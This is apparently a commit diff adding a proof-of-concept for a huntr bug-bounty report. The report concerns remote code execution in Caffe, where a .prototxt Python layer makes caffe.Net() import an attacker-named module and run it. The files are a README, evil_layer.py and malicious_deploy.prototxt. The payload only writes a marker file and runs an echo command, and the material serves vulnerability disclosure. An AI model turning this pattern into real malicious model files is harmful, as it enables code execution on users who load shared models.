Add Caffe Python layer RCE PoC

README.md

@@ -0,0 +1,38 @@
+---
+license: unknown
+tags:
+  - security
+  - poc
+  - huntr
+---
+
+# Caffe `.prototxt` Python layer → RCE PoC
+
+`malicious_deploy.prototxt` declares a layer with `type: "Python"` and
+`python_param { module: "evil_layer" layer: "Pwn" }`.
+
+`GetPythonLayer()` (`src/caffe/layer_factory.cpp:290-301`) — called from
+`LayerRegistry::CreateLayer()` whenever `caffe.Net(prototxt, weights, phase)`
+loads a `.prototxt` — takes those two strings straight from the attacker's
+`.prototxt` with zero validation:
+
+```cpp
+bp::object module = bp::import(param.python_param().module().c_str());
+bp::object layer = module.attr(param.python_param().layer().c_str())(param);
+```
+
+`bp::import(module)` imports an arbitrary Python module by name (running its
+top-level code immediately), then instantiates an arbitrary class from it by
+name. `evil_layer.py` (also in this repo) is the companion module that must
+be importable (on `PYTHONPATH`/cwd) when the victim loads this `.prototxt` —
+exactly the normal distribution pattern for Caffe models that ship custom
+Python layers (e.g. py-faster-rcnn's `rpn/proposal_layer.py`).
+
+`BUILD_python_layer` is CMake's **default-ON** build option
+(`CMakeLists.txt:38`).
+
+Loading this `.prototxt` with `caffe.Net()` executes `evil_layer.py`'s
+module-level code and the `Pwn` class constructor.
+
+Reported to huntr.com as a Model File Vulnerability (MFV) submission
+("Caffe" format).

evil_layer.py

@@ -0,0 +1,40 @@
+"""
+Attacker-supplied Python layer module.
+
+In a real attack, this file ships alongside the .prototxt/.caffemodel
+(this is a normal, documented distribution pattern for Caffe models that
+use custom Python layers -- e.g. py-faster-rcnn's rpn/proposal_layer.py,
+SSD's multibox loss helpers, etc. Users are told to add the model repo
+to PYTHONPATH before running caffe.Net(...)).
+
+Both blocks below execute with ZERO involvement of caffe.Net()'s API
+surface other than the module/layer name strings taken verbatim from
+the .prototxt python_param field.
+"""
+import os
+import datetime
+
+MARKER = os.path.expanduser("~/bugbounty_results/caffe-mfv/poc/PWNED_MARKER.txt")
+
+# 1) Code that runs at IMPORT time (bp::import(module) alone triggers this,
+#    before the "layer" attribute is even looked up).
+with open(MARKER, "a") as f:
+    f.write(f"[{datetime.datetime.now()}] evil_layer.py MODULE IMPORTED "
+            f"(triggered by python_param.module string from attacker prototxt)\n")
+    f.write(f"  -> proof: os.getpid()={os.getpid()}, os.getcwd()={os.getcwd()}\n")
+
+
+class Pwn(object):
+    """
+    Attacker-controlled class named by python_param.layer ("Pwn").
+    Caffe calls: module.attr(layer)(param)  ==  Pwn(layer_param)
+    Constructor code below runs unconditionally as part of layer creation.
+    """
+    def __init__(self, layer_param):
+        with open(MARKER, "a") as f:
+            f.write(f"[{datetime.datetime.now()}] Pwn.__init__ EXECUTED "
+                    f"(triggered by python_param.layer string from attacker prototxt)\n")
+            f.write(f"  -> received layer_param.name={layer_param.name!r}, "
+                    f"type={layer_param.type!r}\n")
+            f.write("  -> arbitrary command execution demo: "
+                    + os.popen("echo pwned-via-caffe-python-layer").read().strip() + "\n")

malicious_deploy.prototxt

@@ -0,0 +1,18 @@
+name: "PwnNet"
+layer {
+  name: "data"
+  type: "Input"
+  top: "data"
+  input_param { shape { dim: 1 dim: 3 dim: 224 dim: 224 } }
+}
+layer {
+  name: "backdoor"
+  type: "Python"
+  bottom: "data"
+  top: "backdoor"
+  python_param {
+    module: "evil_layer"
+    layer: "Pwn"
+    param_str: "malicious param_str payload"
+  }
+}